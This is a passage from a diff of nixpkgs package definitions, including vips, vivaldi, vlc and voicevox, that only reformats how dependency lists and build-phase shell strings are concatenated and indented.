+  ++ lib.optional withGeoTag gexiv2
+  ++ lib.optional withMagic file
+  ++ lib.optional withMapnik mapnik
+  ++ lib.optional withMBTiles sqlite
+  ++ lib.optional withMd5Hash nettle
+  ++ lib.optional withOAuth liboauth
+  ++ lib.optional withRealtimeGPSTracking gpsd;
 
   configureFlags = [
     (lib.enableFeature withGeoClue "geoclue")
diff --git a/pkgs/by-name/vi/vips/package.nix b/pkgs/by-name/vi/vips/package.nix
index b93504cd8443..0a560aa19214 100644
--- a/pkgs/by-name/vi/vips/package.nix
+++ b/pkgs/by-name/vi/vips/package.nix
@@ -59,7 +59,8 @@ stdenv.mkDerivation (finalAttrs: {
     "out"
     "man"
     "dev"
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) [ "devdoc" ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) [ "devdoc" ];
 
   src = fetchFromGitHub {
     owner = "libvips";
@@ -73,17 +74,16 @@ stdenv.mkDerivation (finalAttrs: {
     '';
   };
 
-  nativeBuildInputs =
-    [
-      docbook-xsl-nons
-      gobject-introspection
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) [
-      gtk-doc
-    ];
+  nativeBuildInputs = [
+    docbook-xsl-nons
+    gobject-introspection
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) [
+    gtk-doc
+  ];
 
   buildInputs = [
     glib
@@ -121,16 +121,15 @@ stdenv.mkDerivation (finalAttrs: {
     glib
   ];
 
-  mesonFlags =
-    [
-      (lib.mesonEnable "pdfium" false)
-      (lib.mesonEnable "nifti" false)
-      (lib.mesonEnable "introspection" withIntrospection)
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) (
-      lib.mesonBool "gtk_doc" true
-    )
-    ++ lib.optional (imagemagick == null) (lib.mesonEnable "magick" false);
+  mesonFlags = [
+    (lib.mesonEnable "pdfium" false)
+    (lib.mesonEnable "nifti" false)
+    (lib.mesonEnable "introspection" withIntrospection)
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isFreeBSD) (
+    lib.mesonBool "gtk_doc" true
+  )
+  ++ lib.optional (imagemagick == null) (lib.mesonEnable "magick" false);
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/vi/virglrenderer/package.nix b/pkgs/by-name/vi/virglrenderer/package.nix
index 69e81b43b03d..b7f7f9fd69c4 100644
--- a/pkgs/by-name/vi/virglrenderer/package.nix
+++ b/pkgs/by-name/vi/virglrenderer/package.nix
@@ -31,21 +31,20 @@ stdenv.mkDerivation rec {
 
   separateDebugInfo = true;
 
-  buildInputs =
-    [
-      libepoxy
-    ]
-    ++ lib.optionals vaapiSupport [ libva ]
-    ++ lib.optionals vulkanSupport [
-      vulkan-headers
-      vulkan-loader
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGLU
-      libX11
-      libdrm
-      libgbm
-    ];
+  buildInputs = [
+    libepoxy
+  ]
+  ++ lib.optionals vaapiSupport [ libva ]
+  ++ lib.optionals vulkanSupport [
+    vulkan-headers
+    vulkan-loader
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGLU
+    libX11
+    libdrm
+    libgbm
+  ];
 
   nativeBuildInputs = [
     meson
@@ -56,14 +55,13 @@ stdenv.mkDerivation rec {
     ]))
   ];
 
-  mesonFlags =
-    [
-      (lib.mesonBool "video" vaapiSupport)
-      (lib.mesonBool "venus" vulkanSupport)
-    ]
-    ++ lib.optionals nativeContextSupport [
-      (lib.mesonOption "drm-renderers" "amdgpu-experimental,msm")
-    ];
+  mesonFlags = [
+    (lib.mesonBool "video" vaapiSupport)
+    (lib.mesonBool "venus" vulkanSupport)
+  ]
+  ++ lib.optionals nativeContextSupport [
+    (lib.mesonOption "drm-renderers" "amdgpu-experimental,msm")
+  ];
 
   passthru = {
     updateScript = gitUpdater {
diff --git a/pkgs/by-name/vi/virt-v2v/package.nix b/pkgs/by-name/vi/virt-v2v/package.nix
index 3129e5561b4b..d32f1f818e70 100644
--- a/pkgs/by-name/vi/virt-v2v/package.nix
+++ b/pkgs/by-name/vi/virt-v2v/package.nix
@@ -43,54 +43,51 @@ stdenv.mkDerivation (finalAttrs: {
     patchShebangs .
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      autoreconfHook
-      makeWrapper
-      bash-completion
-      perl
-      libguestfs-with-appliance
-      qemu
-      cpio
-      cdrkit
-      getopt
-    ]
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+    autoreconfHook
+    makeWrapper
+    bash-completion
+    perl
+    libguestfs-with-appliance
+    qemu
+    cpio
+    cdrkit
+    getopt
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+  ]);
 
-  buildInputs =
-    [
-      libosinfo
-      pcre2
-      libxml2
-      jansson
-      glib
-    ]
-    ++ (with ocamlPackages; [
-      ocaml_libvirt
-      nbd
-    ]);
+  buildInputs = [
+    libosinfo
+    pcre2
+    libxml2
+    jansson
+    glib
+  ]
+  ++ (with ocamlPackages; [
+    ocaml_libvirt
+    nbd
+  ]);
 
-  postInstall =
-    ''
-      for bin in $out/bin/*; do
-      wrapProgram "$bin" \
-        --prefix PATH : "$out/bin:${
-          lib.makeBinPath [
-            nbdkit
-            ocamlPackages.nbd
-            qemu
-          ]
-        }"
-      done
-    ''
-    + lib.optionalString withWindowsGuestSupport ''
-      ln -s "${virtio-win}" $out/share/virtio-win
-      ln -s "${pkgsCross.mingwW64.rhsrvany}/bin/" $out/share/virt-tools
-    '';
+  postInstall = ''
+    for bin in $out/bin/*; do
+    wrapProgram "$bin" \
+      --prefix PATH : "$out/bin:${
+        lib.makeBinPath [
+          nbdkit
+          ocamlPackages.nbd
+          qemu
+        ]
+      }"
+    done
+  ''
+  + lib.optionalString withWindowsGuestSupport ''
+    ln -s "${virtio-win}" $out/share/virtio-win
+    ln -s "${pkgsCross.mingwW64.rhsrvany}/bin/" $out/share/virt-tools
+  '';
 
   PKG_CONFIG_BASH_COMPLETION_COMPLETIONSDIR = "${placeholder "out"}/share/bash-completion/completions";
 
diff --git a/pkgs/by-name/vi/virt-viewer/package.nix b/pkgs/by-name/vi/virt-viewer/package.nix
index 253c5fab2e91..f8b3dc3c1ed8 100644
--- a/pkgs/by-name/vi/virt-viewer/package.nix
+++ b/pkgs/by-name/vi/virt-viewer/package.nix
@@ -62,33 +62,32 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
+  buildInputs = [
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+    bash-completion
+    glib
+    gsettings-desktop-schemas
+    gtk-vnc
+    gtk3
+    libvirt
+    libvirt-glib
+    libxml2
+    vte
+  ]
+  ++ lib.optionals ovirtSupport [
+    libgovirt
+  ]
+  ++ lib.optionals spiceSupport (
     [
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-      bash-completion
-      glib
-      gsettings-desktop-schemas
-      gtk-vnc
-      gtk3
-      libvirt
-      libvirt-glib
-      libxml2
-      vte
+      gdbm
+      spice-gtk
+      spice-protocol
     ]
-    ++ lib.optionals ovirtSupport [
-      libgovirt
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      libcap
     ]
-    ++ lib.optionals spiceSupport (
-      [
-        gdbm
-        spice-gtk
-        spice-protocol
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        libcap
-      ]
-    );
+  );
 
   # Required for USB redirection PolicyKit rules file
   propagatedUserEnvPkgs = lib.optional spiceSupport spice-gtk;
diff --git a/pkgs/by-name/vi/vis/package.nix b/pkgs/by-name/vi/vis/package.nix
index edf173026d90..6f0cd0e7835a 100644
--- a/pkgs/by-name/vi/vis/package.nix
+++ b/pkgs/by-name/vi/vis/package.nix
@@ -34,17 +34,16 @@ stdenv.mkDerivation rec {
     copyDesktopItems
   ];
 
-  buildInputs =
-    [
-      ncurses
-      libtermkey
-      luaEnv
-      tre
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      acl
-      libselinux
-    ];
+  buildInputs = [
+    ncurses
+    libtermkey
+    luaEnv
+    tre
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    acl
+    libselinux
+  ];
 
   postInstall = ''
     wrapProgram $out/bin/vis \
diff --git a/pkgs/by-name/vi/visp/package.nix b/pkgs/by-name/vi/visp/package.nix
index 099aedfb91a1..5dbf50e4e4a1 100644
--- a/pkgs/by-name/vi/visp/package.nix
+++ b/pkgs/by-name/vi/visp/package.nix
@@ -70,31 +70,30 @@ stdenv.mkDerivation (finalAttrs: {
     texliveSmall
   ];
 
-  buildInputs =
-    [
-      eigen
-      lapack
-      libdc1394
-      libdmtx
-      libglvnd
-      libjpeg
-      libpng
-      librealsense
-      libX11
-      libxml2
-      nlohmann_json
-      #ogre
-      openblas
-      opencv
-      python3Packages.numpy
-      xorg.libpthreadstubs
-      zbar
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      coin3d
-      v4l-utils
-    ];
+  buildInputs = [
+    eigen
+    lapack
+    libdc1394
+    libdmtx
+    libglvnd
+    libjpeg
+    libpng
+    librealsense
+    libX11
+    libxml2
+    nlohmann_json
+    #ogre
+    openblas
+    opencv
+    python3Packages.numpy
+    xorg.libpthreadstubs
+    zbar
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    coin3d
+    v4l-utils
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/vi/visual-hexdiff/package.nix b/pkgs/by-name/vi/visual-hexdiff/package.nix
index d4665c986fac..e9f92df7adb9 100644
--- a/pkgs/by-name/vi/visual-hexdiff/package.nix
+++ b/pkgs/by-name/vi/visual-hexdiff/package.nix
@@ -26,17 +26,16 @@ stdenv.mkDerivation {
     })
   ];
 
-  postPatch =
-    ''
-      # Fix compiler error that wants a string literal as format string for `wprintw`
-      substituteInPlace sel_file.c \
-        --replace-fail 'wprintw(win, txt_aide_fs[foo]);' 'wprintw(win, "%s", txt_aide_fs[foo]);'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Fix compiler error on Darwin: conflicting types for 'strdup'
-      substituteInPlace sel_file.c \
-        --replace-fail 'char *strdup(char *);' ' '
-    '';
+  postPatch = ''
+    # Fix compiler error that wants a string literal as format string for `wprintw`
+    substituteInPlace sel_file.c \
+      --replace-fail 'wprintw(win, txt_aide_fs[foo]);' 'wprintw(win, "%s", txt_aide_fs[foo]);'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Fix compiler error on Darwin: conflicting types for 'strdup'
+    substituteInPlace sel_file.c \
+      --replace-fail 'char *strdup(char *);' ' '
+  '';
 
   buildInputs = [ ncurses ];
 
diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index 6a85d9a42758..5c0b04eba27d 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -100,63 +100,62 @@ stdenv.mkDerivation rec {
 
   dontWrapQtApps = true;
 
-  buildInputs =
-    [
-      stdenv.cc.cc
-      stdenv.cc.libc
-      zlib
-      libX11
-      libXt
-      libXext
-      libSM
-      libICE
-      libxcb
-      libxkbcommon
-      libxshmfence
-      libXi
-      libXft
-      libXcursor
-      libXfixes
-      libXScrnSaver
-      libXcomposite
-      libXdamage
-      libXtst
-      libXrandr
-      atk
-      at-spi2-atk
-      at-spi2-core
-      alsa-lib
-      dbus
-      cups
-      gtk3
-      gdk-pixbuf
-      libexif
-      ffmpeg
-      systemd
-      libva
-      qt6.qtbase
-      qt6.qtwayland
-      freetype
-      fontconfig
-      libXrender
-      libuuid
-      expat
-      glib
-      nss
-      nspr
-      libGL
-      libxml2
-      pango
-      cairo
-      libdrm
-      libgbm
-      vulkan-loader
-      wayland
-      pipewire
-    ]
-    ++ lib.optional proprietaryCodecs vivaldi-ffmpeg-codecs
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional kerberosSupport libkrb5;
+  buildInputs = [
+    stdenv.cc.cc
+    stdenv.cc.libc
+    zlib
+    libX11
+    libXt
+    libXext
+    libSM
+    libICE
+    libxcb
+    libxkbcommon
+    libxshmfence
+    libXi
+    libXft
+    libXcursor
+    libXfixes
+    libXScrnSaver
+    libXcomposite
+    libXdamage
+    libXtst
+    libXrandr
+    atk
+    at-spi2-atk
+    at-spi2-core
+    alsa-lib
+    dbus
+    cups
+    gtk3
+    gdk-pixbuf
+    libexif
+    ffmpeg
+    systemd
+    libva
+    qt6.qtbase
+    qt6.qtwayland
+    freetype
+    fontconfig
+    libXrender
+    libuuid
+    expat
+    glib
+    nss
+    nspr
+    libGL
+    libxml2
+    pango
+    cairo
+    libdrm
+    libgbm
+    vulkan-loader
+    wayland
+    pipewire
+  ]
+  ++ lib.optional proprietaryCodecs vivaldi-ffmpeg-codecs
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional kerberosSupport libkrb5;
 
   libPath =
     lib.makeLibraryPath buildInputs
@@ -165,65 +164,63 @@ stdenv.mkDerivation rec {
     )
     + ":$out/opt/vivaldi/lib";
 
-  buildPhase =
-    ''
-      runHook preBuild
-      echo "Patching Vivaldi binaries"
-      for f in chrome_crashpad_handler vivaldi-bin vivaldi-sandbox ; do
-        patchelf \
-          --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
-          --set-rpath "${libPath}" \
-          opt/vivaldi/$f
-      done
+  buildPhase = ''
+    runHook preBuild
+    echo "Patching Vivaldi binaries"
+    for f in chrome_crashpad_handler vivaldi-bin vivaldi-sandbox ; do
+      patchelf \
+        --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
+        --set-rpath "${libPath}" \
+        opt/vivaldi/$f
+    done
 
-      for f in libGLESv2.so libqt5_shim.so libqt6_shim.so; do
-        patchelf --set-rpath "${libPath}" opt/vivaldi/$f
-      done
-    ''
-    + lib.optionalString proprietaryCodecs ''
-      ln -s ${vivaldi-ffmpeg-codecs}/lib/libffmpeg.so opt/vivaldi/libffmpeg.so.''${version%\.*\.*}
-    ''
-    + ''
-      echo "Finished patching Vivaldi binaries"
-      runHook postBuild
-    '';
+    for f in libGLESv2.so libqt5_shim.so libqt6_shim.so; do
+      patchelf --set-rpath "${libPath}" opt/vivaldi/$f
+    done
+  ''
+  + lib.optionalString proprietaryCodecs ''
+    ln -s ${vivaldi-ffmpeg-codecs}/lib/libffmpeg.so opt/vivaldi/libffmpeg.so.''${version%\.*\.*}
+  ''
+  + ''
+    echo "Finished patching Vivaldi binaries"
+    runHook postBuild
+  '';
 
   dontPatchELF = true;
   dontStrip = true;
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p "$out"
-      cp -r opt "$out"
-      mkdir "$out/bin"
-      ln -s "$out/opt/vivaldi/vivaldi" "$out/bin/vivaldi"
-      mkdir -p "$out/share"
-      cp -r usr/share/{applications,xfce4} "$out"/share
-      substituteInPlace "$out"/share/applications/*.desktop \
-        --replace-fail /usr/bin/vivaldi "$out"/bin/vivaldi
-      substituteInPlace "$out"/share/applications/*.desktop \
-        --replace-fail vivaldi-stable vivaldi
-      local d
-      for d in 16 22 24 32 48 64 128 256; do
-        mkdir -p "$out"/share/icons/hicolor/''${d}x''${d}/apps
-        ln -s \
-          "$out"/opt/vivaldi/product_logo_''${d}.png \
-          "$out"/share/icons/hicolor/''${d}x''${d}/apps/vivaldi.png
-      done
-      wrapProgram "$out/bin/vivaldi" \
-        --add-flags ${lib.escapeShellArg commandLineArgs} \
-        --prefix XDG_DATA_DIRS : ${gtk3}/share/gsettings-schemas/${gtk3.name}/ \
-        --prefix LD_LIBRARY_PATH : ${libPath} \
-        --prefix PATH : ${coreutils}/bin \
-        ''${qtWrapperArgs[@]}
-    ''
-    + lib.optionalString enableWidevine ''
-      ln -sf ${widevine-cdm}/share/google/chrome/WidevineCdm $out/opt/vivaldi/WidevineCdm
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p "$out"
+    cp -r opt "$out"
+    mkdir "$out/bin"
+    ln -s "$out/opt/vivaldi/vivaldi" "$out/bin/vivaldi"
+    mkdir -p "$out/share"
+    cp -r usr/share/{applications,xfce4} "$out"/share
+    substituteInPlace "$out"/share/applications/*.desktop \
+      --replace-fail /usr/bin/vivaldi "$out"/bin/vivaldi
+    substituteInPlace "$out"/share/applications/*.desktop \
+      --replace-fail vivaldi-stable vivaldi
+    local d
+    for d in 16 22 24 32 48 64 128 256; do
+      mkdir -p "$out"/share/icons/hicolor/''${d}x''${d}/apps
+      ln -s \
+        "$out"/opt/vivaldi/product_logo_''${d}.png \
+        "$out"/share/icons/hicolor/''${d}x''${d}/apps/vivaldi.png
+    done
+    wrapProgram "$out/bin/vivaldi" \
+      --add-flags ${lib.escapeShellArg commandLineArgs} \
+      --prefix XDG_DATA_DIRS : ${gtk3}/share/gsettings-schemas/${gtk3.name}/ \
+      --prefix LD_LIBRARY_PATH : ${libPath} \
+      --prefix PATH : ${coreutils}/bin \
+      ''${qtWrapperArgs[@]}
+  ''
+  + lib.optionalString enableWidevine ''
+    ln -sf ${widevine-cdm}/share/google/chrome/WidevineCdm $out/opt/vivaldi/WidevineCdm
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   passthru.updateScript = ./update-vivaldi.sh;
 
diff --git a/pkgs/by-name/vl/vlang/package.nix b/pkgs/by-name/vl/vlang/package.nix
index 8f5ca40616ce..263ebc7a9432 100644
--- a/pkgs/by-name/vl/vlang/package.nix
+++ b/pkgs/by-name/vl/vlang/package.nix
@@ -67,20 +67,20 @@ stdenv.mkDerivation {
     glfw
     freetype
     openssl
-  ] ++ lib.optional stdenv.hostPlatform.isUnix upx;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isUnix upx;
 
   nativeBuildInputs = [ makeWrapper ];
 
-  buildInputs =
-    [
-      binaryen
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      xorg.libX11
-      xorg.libXau
-      xorg.libXdmcp
-      xorg.xorgproto
-    ];
+  buildInputs = [
+    binaryen
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    xorg.libX11
+    xorg.libXau
+    xorg.libXdmcp
+    xorg.xorgproto
+  ];
 
   makeFlags = [
     "local=1"
diff --git a/pkgs/by-name/vl/vlc/package.nix b/pkgs/by-name/vl/vlc/package.nix
index 97e688c1f2e7..750b99136e61 100644
--- a/pkgs/by-name/vl/vlc/package.nix
+++ b/pkgs/by-name/vl/vlc/package.nix
@@ -113,124 +113,121 @@ stdenv.mkDerivation (finalAttrs: {
 
   depsBuildBuild = optionals waylandSupport [ pkg-config ];
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      lua5
-      perl
-      pkg-config
-      removeReferencesTo
-      unzip
-      wrapGAppsHook3
-    ]
-    ++ optionals chromecastSupport [ protobuf ]
-    ++ optionals withQt5 [ libsForQt5.wrapQtAppsHook ]
-    ++ optionals waylandSupport [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    lua5
+    perl
+    pkg-config
+    removeReferencesTo
+    unzip
+    wrapGAppsHook3
+  ]
+  ++ optionals chromecastSupport [ protobuf ]
+  ++ optionals withQt5 [ libsForQt5.wrapQtAppsHook ]
+  ++ optionals waylandSupport [
+    wayland-scanner
+  ];
 
   # VLC uses a *ton* of libraries for various pieces of functionality, many of
   # which are not included here for no other reason that nobody has mentioned
   # needing them
-  buildInputs =
+  buildInputs = [
+    a52dec
+    alsa-lib
+    avahi
+    cairo
+    dbus
+    faad2
+    ffmpeg_6
+    flac
+    fluidsynth
+    fontconfig
+    freetype
+    fribidi
+    gnutls
+    harfbuzz
+    libGL
+    libSM
+    libarchive
+    libass
+    libbluray
+    libcaca
+    libcddb
+    libdc1394
+    libdvbpsi
+    libdvdnav
+    libdvdnav.libdvdread
+    libebml
+    libgcrypt
+    libgpg-error
+    libjpeg
+    libkate
+    libmad
+    libmatroska
+    libmodplug
+    libmpeg2
+    libmtp
+    libogg
+    libopus
+    libplacebo_5
+    libpng
+    libpulseaudio
+    librsvg
+    libsamplerate
+    libspatialaudio
+    libssh2
+    libtheora
+    libtiger
+    libupnp
+    libv4l
+    libva
+    libvorbis
+    libxml2
+    lua5
+    ncurses
+    samba
+    schroedinger
+    speex
+    srt
+    systemdLibs
+    taglib_1
+    xcbutilkeysyms
+    zlib
+  ]
+  ++ optionals (!onlyLibVLC) [ live555 ]
+  ++ optionals jackSupport [ libjack2 ]
+  ++ optionals chromecastSupport [
+    libmicrodns
+    protobuf
+  ]
+  ++ optionals skins2Support [
+    libXext
+    libXinerama
+    libXpm
+  ]
+  ++ optionals waylandSupport [
+    wayland
+    wayland-protocols
+  ]
+  ++ optionals withQt5 (
+    with libsForQt5;
     [
-      a52dec
-      alsa-lib
-      avahi
-      cairo
-      dbus
-      faad2
-      ffmpeg_6
-      flac
-      fluidsynth
-      fontconfig
-      freetype
-      fribidi
-      gnutls
-      harfbuzz
-      libGL
-      libSM
-      libarchive
-      libass
-      libbluray
-      libcaca
-      libcddb
-      libdc1394
-      libdvbpsi
-      libdvdnav
-      libdvdnav.libdvdread
-      libebml
-      libgcrypt
-      libgpg-error
-      libjpeg
-      libkate
-      libmad
-      libmatroska
-      libmodplug
-      libmpeg2
-      libmtp
-      libogg
-      libopus
-      libplacebo_5
-      libpng
-      libpulseaudio
-      librsvg
-      libsamplerate
-      libspatialaudio
-      libssh2
-      libtheora
-      libtiger
-      libupnp
-      libv4l
-      libva
-      libvorbis
-      libxml2
-      lua5
-      ncurses
-      samba
-      schroedinger
-      speex
-      srt
-      systemdLibs
-      taglib_1
-      xcbutilkeysyms
-      zlib
+      qtbase
+      qtsvg
+      qtx11extras
     ]
-    ++ optionals (!onlyLibVLC) [ live555 ]
-    ++ optionals jackSupport [ libjack2 ]
-    ++ optionals chromecastSupport [
-      libmicrodns
-      protobuf
-    ]
-    ++ optionals skins2Support [
-      libXext
-      libXinerama
-      libXpm
-    ]
-    ++ optionals waylandSupport [
-      wayland
-      wayland-protocols
-    ]
-    ++ optionals withQt5 (
-      with libsForQt5;
-      [
-        qtbase
-        qtsvg
-        qtx11extras
-      ]
-    )
-    ++ optionals (waylandSupport && withQt5) [ libsForQt5.qtwayland ];
+  )
+  ++ optionals (waylandSupport && withQt5) [ libsForQt5.qtwayland ];
   strictDeps = true;
 
-  env =
-    {
-      # vlc searches for c11-gcc, c11, c99-gcc, c99, which don't exist and would be wrong for cross compilation anyway.
-      BUILDCC = "${pkgsBuildBuild.stdenv.cc}/bin/gcc";
-      LIVE555_PREFIX = live555;
-    }
-    // lib.optionalAttrs stdenv.cc.isGNU {
-      NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-pointer-types";
-    };
+  env = {
+    # vlc searches for c11-gcc, c11, c99-gcc, c99, which don't exist and would be wrong for cross compilation anyway.
+    BUILDCC = "${pkgsBuildBuild.stdenv.cc}/bin/gcc";
+    LIVE555_PREFIX = live555;
+  }
+  // lib.optionalAttrs stdenv.cc.isGNU {
+    NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-pointer-types";
+  };
 
   patches = [
     # patch to build with recent live555
@@ -250,20 +247,19 @@ stdenv.mkDerivation (finalAttrs: {
     ./deterministic-plugin-cache.diff
   ];
 
-  postPatch =
-    ''
-      substituteInPlace modules/text_renderer/freetype/platform_fonts.h \
-        --replace \
-          /usr/share/fonts/truetype/freefont \
-          ${freefont_ttf}/share/fonts/truetype
-    ''
-    # Upstream luac can't cross compile, so we have to install the lua sources
-    # instead of bytecode, which was built for buildPlatform:
-    # https://www.lua.org/wshop13/Jericke.pdf#page=39
-    + lib.optionalString (!stdenv.hostPlatform.canExecute stdenv.buildPlatform) ''
-      substituteInPlace share/Makefile.am \
-        --replace $'.luac \\\n' $'.lua \\\n'
-    '';
+  postPatch = ''
+    substituteInPlace modules/text_renderer/freetype/platform_fonts.h \
+      --replace \
+        /usr/share/fonts/truetype/freefont \
+        ${freefont_ttf}/share/fonts/truetype
+  ''
+  # Upstream luac can't cross compile, so we have to install the lua sources
+  # instead of bytecode, which was built for buildPlatform:
+  # https://www.lua.org/wshop13/Jericke.pdf#page=39
+  + lib.optionalString (!stdenv.hostPlatform.canExecute stdenv.buildPlatform) ''
+    substituteInPlace share/Makefile.am \
+      --replace $'.luac \\\n' $'.lua \\\n'
+  '';
 
   enableParallelBuilding = true;
 
@@ -271,16 +267,17 @@ stdenv.mkDerivation (finalAttrs: {
 
   # Most of the libraries are auto-detected so we don't need to set a bunch of
   # "--enable-foo" flags here
-  configureFlags =
-    [ "--with-kde-solid=$out/share/apps/solid/actions" ]
-    ++ optionals onlyLibVLC [ "--disable-vlc" ]
-    ++ optionals skins2Support [ "--enable-skins2" ]
-    ++ optionals waylandSupport [ "--enable-wayland" ]
-    ++ optionals chromecastSupport [
-      "--enable-sout"
-      "--enable-chromecast"
-      "--enable-microdns"
-    ];
+  configureFlags = [
+    "--with-kde-solid=$out/share/apps/solid/actions"
+  ]
+  ++ optionals onlyLibVLC [ "--disable-vlc" ]
+  ++ optionals skins2Support [ "--enable-skins2" ]
+  ++ optionals waylandSupport [ "--enable-wayland" ]
+  ++ optionals chromecastSupport [
+    "--enable-sout"
+    "--enable-chromecast"
+    "--enable-microdns"
+  ];
 
   # Remove runtime dependencies on libraries
   postConfigure = ''
@@ -304,17 +301,16 @@ stdenv.mkDerivation (finalAttrs: {
   # pkgsBuildBuild is used here because buildPackages.libvlc somehow
   # depends on a qt5.qttranslations that doesn't build, even though it
   # should be the same as pkgsBuildBuild.qt5.qttranslations.
-  postFixup =
-    ''
-      patchelf --add-rpath ${libv4l}/lib "$out/lib/vlc/plugins/access/libv4l2_plugin.so"
-      find $out/lib/vlc/plugins -exec touch -d @1 '{}' ';'
-      ${
-        if stdenv.buildPlatform.canExecute stdenv.hostPlatform then "$out" else pkgsBuildBuild.libvlc
-      }/lib/vlc/vlc-cache-gen $out/vlc/plugins
-    ''
-    + optionalString withQt5 ''
-      remove-references-to -t "${libsForQt5.qtbase.dev}" $out/lib/vlc/plugins/gui/libqt_plugin.so
-    '';
+  postFixup = ''
+    patchelf --add-rpath ${libv4l}/lib "$out/lib/vlc/plugins/access/libv4l2_plugin.so"
+    find $out/lib/vlc/plugins -exec touch -d @1 '{}' ';'
+    ${
+      if stdenv.buildPlatform.canExecute stdenv.hostPlatform then "$out" else pkgsBuildBuild.libvlc
+    }/lib/vlc/vlc-cache-gen $out/vlc/plugins
+  ''
+  + optionalString withQt5 ''
+    remove-references-to -t "${libsForQt5.qtbase.dev}" $out/lib/vlc/plugins/gui/libqt_plugin.so
+  '';
 
   passthru.updateScript = genericUpdater {
     versionLister = writeShellScript "vlc-versionLister" ''
diff --git a/pkgs/by-name/vm/vmware-workstation/package.nix b/pkgs/by-name/vm/vmware-workstation/package.nix
index 2f8a60403087..8d69c45aec69 100644
--- a/pkgs/by-name/vm/vmware-workstation/package.nix
+++ b/pkgs/by-name/vm/vmware-workstation/package.nix
@@ -99,19 +99,18 @@ stdenv.mkDerivation rec {
     xorg.libXtst
   ];
 
-  nativeBuildInputs =
-    [
-      python3
-      vmware-unpack-env
-      autoPatchelfHook
-      makeWrapper
-    ]
-    ++ lib.optionals enableInstaller [
-      bzip2
-      sqlite
-      readline70_compat63
-    ]
-    ++ lib.optionals enableMacOSGuests [ unzip ];
+  nativeBuildInputs = [
+    python3
+    vmware-unpack-env
+    autoPatchelfHook
+    makeWrapper
+  ]
+  ++ lib.optionals enableInstaller [
+    bzip2
+    sqlite
+    readline70_compat63
+  ]
+  ++ lib.optionals enableMacOSGuests [ unzip ];
 
   src = requireFile {
     name = "VMware-Workstation-Full-${version}-${build}.x86_64.bundle";
diff --git a/pkgs/by-name/vo/voicevox-engine/package.nix b/pkgs/by-name/vo/voicevox-engine/package.nix
index b999573501de..9bf523418e67 100644
--- a/pkgs/by-name/vo/voicevox-engine/package.nix
+++ b/pkgs/by-name/vo/voicevox-engine/package.nix
@@ -26,27 +26,26 @@ python3Packages.buildPythonApplication rec {
     hatchling
   ];
 
-  dependencies =
-    [
-      passthru.pyopenjtalk
-    ]
-    ++ (with python3Packages; [
-      fastapi
-      jinja2
-      kanalizer
-      numpy
-      platformdirs
-      pydantic
-      python-multipart
-      pyworld
-      pyyaml
-      semver
-      setuptools
-      soundfile
-      soxr
-      starlette
-      uvicorn
-    ]);
+  dependencies = [
+    passthru.pyopenjtalk
+  ]
+  ++ (with python3Packages; [
+    fastapi
+    jinja2
+    kanalizer
+    numpy
+    platformdirs
+    pydantic
+    python-multipart
+    pyworld
+    pyyaml
+    semver
+    setuptools
+    soundfile
+    soxr
+    starlette
+    uvicorn
+  ]);
 
   pythonRemoveDeps = [
     # upstream wants fastapi-slim, but we provide fastapi instead
diff --git a/pkgs/by-name/vo/voicevox/package.nix b/pkgs/by-name/vo/voicevox/package.nix
index dde014b43e85..3b6b99dd7137 100644
--- a/pkgs/by-name/vo/voicevox/package.nix
+++ b/pkgs/by-name/vo/voicevox/package.nix
@@ -68,18 +68,17 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-RKgqFmHQnjHS7yeUIbH9awpNozDOCCHplc/bmfxmMyg=";
   };
 
